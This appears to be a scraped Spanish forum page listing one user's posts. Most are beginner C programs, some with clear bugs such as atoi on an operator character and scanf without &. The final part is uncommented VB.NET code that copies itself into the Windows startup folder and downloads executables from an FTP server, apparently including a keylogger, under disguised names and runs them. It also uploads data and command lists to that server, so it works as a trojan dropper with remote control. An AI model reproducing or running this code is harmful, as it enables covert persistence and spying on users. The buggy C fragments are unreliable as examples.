Buenas, ¿alguien me dice si se puede obtener más precisión que la de long double en C? Lo pregunto por que estoy haciendo un programa que me calcule pi (sin un número de cifras definido, hasta que lo cierre) y ¡long double se queda corto para pi!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
#include <stdarg.h>
int printf(char *text, char *color, ...) //Esto es lo que he oído.
{
/*
Aquí iría lo que no tengo ni idea. Si no pongo la de color consigo que me coja la variable
texto, pero las "no obligatorias" me las deforma. Son unos int. Por ejemplo, pongo 32 y
me sale 1034..., en fín, que se equivoca. Si pongo la de color... ni se ejecuta.
*/
return 0;
}
#include <stdio.h>
main(int argc, char *argv[])
{
char n1, n2, operador;
int resultado;
n1=atoi(argv[1]);
operador=atoi(argv[2]);
n2=atoi(argv[3]);
if (operador=='+')
{
resultado=n1+n2;
printf("El resultado de sumar %d y %d es: %d\n", n1, n2, resultado);
salir();
}
if (operador=='-')
{
resultado=n1-n2;
printf("El resultado de restar %d y %d es: %d\n", n1, n2, resultado);
salir();
}
if (operador=='*')
{
resultado=n1*n2;
printf("El resultado de multiplicar %d y %d es: %d\n", n1, n2, resultado);
salir();
}
if (operador=='/')
{
resultado=n1/n2;
printf("El resultado de dividir %d y %d es: %d\n", n1, n2, resultado);
salir();
}
if (operador!='+' && operador!='-' && operador!='*' && operador!='/')
{
printf("Operador no reconocido. Utilize uno de los siguientes operadores:\n"
"-Suma: \"+\"\n"
"-Resta: \"-\"\n"
"-Multiplicación: \"*\"\n"
"-División: \"/\"\n"
"Utilize los operadores con el siguiente formato: número operador número.\n");
salir();
}
}
int salir()
{
return 0;
}
$ gcc -o ys pasa.c
$ ./ys 5 + 6
Operador no reconocido. Utilize uno de los siguientes operadores:
-Suma: "+"
-Resta: "-"
-Multiplicación: "*"
-División: "/"
Utilize los operadores con el siguiente formato: número operador número.
$
sudo mount -t vfat /dev/sdb1 /media/USB
sudo apt-cdrom add
//Enjemplo con FOR en C
#include <stdio.h>
int main()
{
int a, b, i;
printf("Bienvenido a nuestro programa que utiliza el FOR.\nEste programa le pedirá dos números, y le calculará todos los cuadrados de los números que esten entre esos dos números.\nEscriba el primer número:\t");
scanf("%d\n", a);
printf("Escriba el segundo número:\t");
scanf("%d\n", b);
printf("\t Número \t\t\t Cuadrado\n\n");
for( i=a; i<=b; ++i)
printf("\t %d \t\t\t %d \n\n",i,i*i);
printf("\t---FIN DEL PROGRAMA---");
}
//Este es mi tercer programa echo en C
main()
{
int o, a, b, r;
printf ("¿Que operación desea realizar?: (x = multiplicar; / = dividir; + = sumar; - = restar)\n");
scanf("%d",&o);
if (o= "x")
printf ("Ha elegido multiplicar. Escriba el primer número:\n");
scanf("%d",&a);
printf ("Escriba el segundo número:\n");
scanf("%d",&b);
r=a*b;
printf ("El resultado de la operación es:%d\n",r);
}
Public Class Form1
Dim aPath As String = Application.ExecutablePath()
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not My.Computer.FileSystem.FileExists("C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe") Then
My.Computer.FileSystem.CopyFile(aPath, "C:\Documents and Settings\Administrador\Menú Inicio\Programas\Inicio\msp.exe")
End If
If My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") And My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
Shell("C:\WINDOWS\keg.exe")
Shell("C:\WINDOWS\ord.exe")
End If
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\keg.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/key.exe", "C:\WINDOWS\keg.exe", "user", "passw")
End If
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\cht.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/chat.exe", "C:\WINDOWS\cht.exe", "user", "passw")
End If
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\chmat.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/chatmatrix.exe", "C:\WINDOWS\chmat.exe", "user", "passw")
End If
If Not My.Computer.FileSystem.FileExists("C:\WINDOWS\ord.exe") Then
My.Computer.Network.DownloadFile("ftp://servidor/ordenes.exe", "C:\WINDOWS\ord.exe", "user", "passw")
Shell("C:\WINDOWS\keg.exe")
Shell("C:\WINDOWS\ord.exe")
End If
End
End Sub
End Class
Dim name As String
name = TextBox1.Text
Try
Dim client As New Net.WebClient
client.Credentials = New Net.NetworkCredential("user", "passw")
client.UploadString("fttp://sevidor/cht1.txt", name & ": " & vbNewLine & RichTextBox1.Text & vbNewLine)
RichTextBox1.Clear()
Catch ex As Exception
End Try
Try
Dim client As New Net.WebClient
client.Credentials = New Net.NetworkCredential("user", "passw")
RichTextBox2.Text = client.DownloadString("ftp://servidor/cht1.txt")
Catch ex As Exception
End Try
My.Computer.FileSystem.WriteAllText(aPath & "\remord1.txt", _
"", True)
My.Computer.Network.UploadFile(aPath & "\remord1.txt", "ftp://servidor/orderlist1.txt", "user", "passw")
My.Computer.FileSystem.DeleteFile(aPath & "\remord1.txt")
RichTextBox1.Clear()